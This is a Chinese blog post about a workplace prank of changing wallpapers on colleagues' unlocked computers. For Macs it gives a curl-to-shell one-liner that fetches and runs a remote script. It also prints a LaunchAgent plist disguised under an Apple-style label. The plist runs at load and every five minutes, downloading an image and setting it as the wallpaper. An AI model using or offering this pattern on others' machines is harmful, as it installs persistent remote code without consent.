偷换同事 Mac 壁纸

我先讲个故事,在我们公司流行这么一个风气:

起身上厕所或者是去抽烟或者是什么原因离开个人电脑了,忘记锁屏了。

然后回来发现自己壁纸被换了

或者是密码被改了 = =!

其实是为了提醒同事要有安全意识,不过到后来,就演变出了一些套路……

手工时代

这个时代是纯手工的年代,内网弄一台 FTP 服务器,把事先准备好的照片放上去。

待你起身离去之际… …

1
ftp://192.168.xx.xxx

然后立马右键设为壁纸外加帮你锁屏一气呵成。整个流程不超过 1 分钟。

现代化

纯手工的时代,回来发现壁纸给人改了,再换回来就好了。

然后赵哥就写了一个程序,伪装成 chrome.exe 帮你换壁纸。点一下,清一色的狗头。

这和之前相比有什么改进呢?

定时啊

三分钟后帮你换回狗头。

公司的运营妹子被这狗头折磨的不要不要的

不过后来,她们也学会这个套路了,杀进程。一有新同事来,抓住机会就给你换上去。

Mac 下自动换壁纸

公司新同事越来越多,用 Mac 的人也越来越多了。这个 exe 套路在 Mac 上行不通呀。于是我今天就整了一个脚本出来活跃气氛了。

代码如下:

1
$ curl http://blog.evalbug.com/uploads/osxdesktop.sh | sh

呐,就一条命令直接就能实现在 windows 下的效果了,收藏了给你同事用呀。

原理

原理就是用 Launch Daemon/Agent 的机制来实现系统启动时自动执行脚本程序,具体可以看我这篇博客的介绍:Mac OS X 开机启动脚本(自动构建 Bugscan 节点)

调用了 osascript 来自动下载图片,设为壁纸,删除文件清理现场。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.evalbug.com</string>
<key>ProgramArguments</key>
<array>
<string>osascript</string>
<string>-e</string>
<string>do shell script "curl -so /tmp/1.jpeg http://7xtigg.com1.z0.glb.clouddn.com/timg%20.jpeg"</string>
<string>-e</string>
<string>tell application "Finder" to set desktop picture to POSIX file "/tmp/1.jpeg"</string>
<string>-e</string>
<string>do shell script "rm -f /tmp/1.jpeg"</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>300</integer>
</dict>
</plist>

大概解释一下关键点:

1
2
<key>StartInterval</key>
<integer>300</integer>

每 300 秒执行一次脚本

然后把整个脚本包装一下放到远端就是一开始看的那个:

好吧,现在换壁纸就方便多了。2333.